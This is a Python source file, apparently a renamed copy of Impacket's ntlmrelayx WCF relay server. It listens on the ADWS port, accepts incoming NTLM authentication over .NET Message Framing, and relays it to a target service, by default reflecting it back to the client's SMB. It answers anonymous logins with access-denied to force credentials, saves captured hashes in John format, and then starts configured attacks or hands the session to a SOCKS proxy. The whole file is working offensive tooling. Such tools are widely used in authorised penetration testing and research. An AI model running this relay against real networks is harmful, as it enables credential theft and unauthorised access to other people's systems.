# -*- coding: utf-8 -*-
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2023 Fortra. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
#   WCF Relay Server
#
#   This is the WCF server (ADWS too) which relays the NTLMSSP messages to other protocols
#   Only NetTcpBinding is supported!
#
# Author:
#   Clément Notin (@cnotin)
#   With code copied from smbrelayserver.py and httprelayserver.py authored by:
#     Alberto Solino (@agsolino)
#     Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
#
# References:
#   To support NetTcpBinding, this implements the ".NET Message Framing Protocol" [MC-NMF] and
#   ".NET NegotiateStream Protocol" [MS-NNS]
#   Thanks to inspiration from https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/nmf.py
#   and https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/stream/negotiate.py by @bluec0re
#

import socket
import socketserver
import struct
from binascii import hexlify
from threading import Thread

from six import PY2

from neroimpacket import ntlm, LOG
from neroimpacket.examples.ntlmrelayx.servers.socksserver import activeConnections
from neroimpacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
from neroimpacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
from neroimpacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
from neroimpacket.spnego import SPNEGO_NegTokenInit, ASN1_AID, SPNEGO_NegTokenResp, TypesMech, MechTypes, \
    ASN1_SUPPORTED_MECH


class WCFRelayServer(Thread):
    class WCFServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
        def __init__(self, server_address, request_handler_class, config):
            self.config = config
            self.daemon_threads = True
            if self.config.ipv6:
                self.address_family = socket.AF_INET6
            self.wpad_counters = {}
            socketserver.TCPServer.__init__(self, server_address, request_handler_class)

    class WCFHandler(socketserver.BaseRequestHandler):
        def __init__(self, request, client_address, server):
            self.server = server
            self.challengeMessage = None
            self.target = None
            self.client = None
            self.machineAccount = None
            self.machineHashes = None
            self.domainIp = None
            self.authUser = None

            if self.server.config.target is None:
                # Reflection mode, defaults to SMB at the target, for now
                self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
            self.target = self.server.config.target.getTarget()
            if self.target is None:
                LOG.info("WCF: Received connection from %s, but there are no more targets left!" % client_address[0])
                return
            LOG.info("WCF: Received connection from %s, attacking target %s://%s" % (
                client_address[0], self.target.scheme, self.target.netloc))

            socketserver.BaseRequestHandler.__init__(self, request, client_address, server)

        # recv from socket for exact 'length' (even if fragmented over several packets)
        def recvall(self, length):
            buf = b''
            while not len(buf) == length:
                buf += self.request.recv(length - len(buf))

            if PY2:
                buf = bytearray(buf)
            return buf

        def handle(self):
            version_code = self.recvall(1)
            if version_code != b'\x00':
                LOG.error("WCF: wrong VersionRecord code")
                return
            version = self.recvall(2)  # should be \x01\x00 but we don't care
            if version != b'\x01\x00':
                LOG.error("WCF: wrong VersionRecord version")
                return

            mode_code = self.recvall(1)
            if mode_code != b'\x01':
                LOG.error("WCF: wrong ModeRecord code")
                return
            mode = self.recvall(1)  # we don't care

            via_code = self.recvall(1)
            if via_code != b'\x02':
                LOG.error("WCF: wrong ViaRecord code")
                return
            via_len = self.recvall(1)
            via_len = struct.unpack("B", via_len)[0]
            via = self.recvall(via_len).decode("utf-8")

            if not via.startswith("net.tcp://"):
                LOG.error("WCF: the Via URL '" + via + "' does not start with 'net.tcp://'. "
                                                       "Only NetTcpBinding is currently supported!")
                return

            known_encoding_code = self.recvall(1)
            if known_encoding_code != b'\x03':
                LOG.error("WCF: wrong KnownEncodingRecord code")
                return
            encoding = self.recvall(1)  # we don't care

            upgrade_code = self.recvall(1)
            if upgrade_code != b'\x09':
                LOG.error("WCF: wrong UpgradeRequestRecord code")
                return
            upgrade_len = self.recvall(1)
            upgrade_len = struct.unpack("B", upgrade_len)[0]
            upgrade = self.recvall(upgrade_len).decode("utf-8")

            if upgrade != "application/negotiate":
                LOG.error("WCF: upgrade '" + upgrade + "' is not 'application/negotiate'. Only Negotiate is supported!")
                return
            self.request.sendall(b'\x0a')

            while True:
                handshake_in_progress = self.recvall(5)
                if not handshake_in_progress[0] == 0x16:
                    LOG.error("WCF: Wrong handshake_in_progress message")
                    return

                securityBlob_len = struct.unpack(">H", handshake_in_progress[3:5])[0]
                securityBlob = self.recvall(securityBlob_len)

                rawNTLM = False
                if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:
                    # SPNEGO NEGOTIATE packet
                    blob = SPNEGO_NegTokenInit(securityBlob)
                    token = blob['MechToken']
                    if len(blob['MechTypes'][0]) > 0:
                        # Is this GSSAPI NTLM or something else we don't support?
                        mechType = blob['MechTypes'][0]
                        if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
                                mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
                            # Nope, do we know it?
                            if mechType in MechTypes:
                                mechStr = MechTypes[mechType]
                            else:
                                mechStr = hexlify(mechType)
                            LOG.error("Unsupported MechType '%s'" % mechStr)
                            # We don't know the token, we answer back again saying
                            # we just support NTLM.
                            respToken = SPNEGO_NegTokenResp()
                            respToken['NegState'] = b'\x03'  # request-mic
                            respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
                            respToken = respToken.getData()

                            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b
                            answer = b'\x16'  # handshake_in_progress
                            answer += b'\x01\x00'  # version
                            answer += struct.pack(">H", len(respToken))  # len
                            answer += respToken

                            self.request.sendall(answer)

                elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
                    # SPNEGO AUTH packet
                    blob = SPNEGO_NegTokenResp(securityBlob)
                    token = blob['ResponseToken']
                    break
                else:
                    # No GSSAPI stuff, raw NTLMSSP
                    rawNTLM = True
                    token = securityBlob
                    break

            if not token.startswith(b"NTLMSSP\0\1"):  # NTLMSSP_NEGOTIATE: message type 1
                LOG.error("WCF: Wrong NTLMSSP_NEGOTIATE message")
                return

            if not self.do_ntlm_negotiate(token):
                # Connection failed
                LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
                          self.target.scheme, self.target.netloc)
                self.server.config.target.logTarget(self.target)
                return

            # Calculate auth
            ntlmssp_challenge = self.challengeMessage.getData()

            if not rawNTLM:
                # add SPNEGO wrapping
                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegState'] = b'\x01'
                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = ntlmssp_challenge
                ntlmssp_challenge = respToken.getData()

            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b
            handshake_in_progress = b"\x16\x01\x00" + struct.pack(">H", len(ntlmssp_challenge))
            self.request.sendall(handshake_in_progress)
            self.request.sendall(ntlmssp_challenge)

            handshake_done = self.recvall(5)

            if handshake_done[0] == 0x15:
                error_len = struct.unpack(">H", handshake_done[3:5])[0]
                error_msg = self.recvall(error_len)
                hresult = hex(struct.unpack('>I', error_msg[4:8])[0])
                LOG.error("WCF: Received handshake_error message: " + hresult)
                return

            ntlmssp_auth_len = struct.unpack(">H", handshake_done[3:5])[0]
            ntlmssp_auth = self.recvall(ntlmssp_auth_len)

            if not rawNTLM:
                # remove SPNEGO wrapping
                blob = SPNEGO_NegTokenResp(ntlmssp_auth)
                ntlmssp_auth = blob['ResponseToken']

            if not ntlmssp_auth.startswith(b"NTLMSSP\0\3"):  # NTLMSSP_AUTH: message type 3
                LOG.error("WCF: Wrong NTLMSSP_AUTH message")
                return

            authenticateMessage = ntlm.NTLMAuthChallengeResponse()
            authenticateMessage.fromString(ntlmssp_auth)

            if not self.do_ntlm_auth(ntlmssp_auth, authenticateMessage):
                if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                    LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
                        self.target.scheme, self.target.netloc,
                        authenticateMessage['domain_name'].decode('utf-16le'),
                        authenticateMessage['user_name'].decode('utf-16le')))
                else:
                    LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
                        self.target.scheme, self.target.netloc,
                        authenticateMessage['domain_name'].decode('ascii'),
                        authenticateMessage['user_name'].decode('ascii')))
                return

            # Relay worked, do whatever we want here...
            if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
                    self.target.scheme, self.target.netloc,
                    authenticateMessage['domain_name'].decode('utf-16le'),
                    authenticateMessage['user_name'].decode('utf-16le')))
            else:
                LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
                    self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
                    authenticateMessage['user_name'].decode('ascii')))

            ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
                                                authenticateMessage['user_name'],
                                                authenticateMessage['domain_name'],
                                                authenticateMessage['lanman'], authenticateMessage['ntlm'])
            self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

            if self.server.config.outputFile is not None:
                writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
                                      self.server.config.outputFile)

            self.server.config.target.logTarget(self.target, True, self.authUser)

            self.do_attack()

        def do_ntlm_negotiate(self, token):
            if self.target.scheme.upper() in self.server.config.protocolClients:
                self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config,
                                                                                             self.target)
                # If connection failed, return
                if not self.client.initConnection():
                    return False
                self.challengeMessage = self.client.sendNegotiate(token)

                # Remove target NetBIOS field from the NTLMSSP_CHALLENGE
                if self.server.config.remove_target:
                    av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])
                    del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]
                    self.challengeMessage['TargetInfoFields'] = av_pairs.getData()
                    self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())
                    self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())

                # Check for errors
                if self.challengeMessage is False:
                    return False
            else:
                LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())
                return False

            return True

        def do_ntlm_auth(self, token, authenticateMessage):
            # For some attacks it is important to know the authenticated username, so we store it
            if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
                                            authenticateMessage['user_name'].decode('utf-16le'))).upper()
            else:
                self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
                                            authenticateMessage['user_name'].decode('ascii'))).upper()

            if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':
                clientResponse, errorCode = self.client.sendAuth(token)
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
                # when coming from localhost
                errorCode = STATUS_ACCESS_DENIED

            if errorCode == STATUS_SUCCESS:
                return True

            return False

        def do_attack(self):
            # Check if SOCKS is enabled and if we support the target scheme
            if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:
                # Pass all the data to the socksplugins proxy
                activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),
                                       self.authUser, self.client, self.client.sessionData))
                return

            # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
            if self.target.scheme.upper() in self.server.config.attacks:
                # We have an attack.. go for it
                clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config,
                                                                                      self.client.session,
                                                                                      self.authUser)
                clientThread.start()
            else:
                LOG.error('No attack configured for %s' % self.target.scheme.upper())

    def __init__(self, config):
        Thread.__init__(self)
        self.daemon = True
        self.config = config
        self.server = None

    def run(self):
        LOG.info("Setting up WCF Server")

        if self.config.listeningPort:
            wcfport = self.config.listeningPort
        else:
            wcfport = 9389  # ADWS

        # changed to read from the interfaceIP set in the configuration
        self.server = self.WCFServer((self.config.interfaceIp, wcfport), self.WCFHandler, self.config)

        try:
            self.server.serve_forever()
        except KeyboardInterrupt:
            pass
        LOG.info('Shutting down WCF Server')
        self.server.server_close()
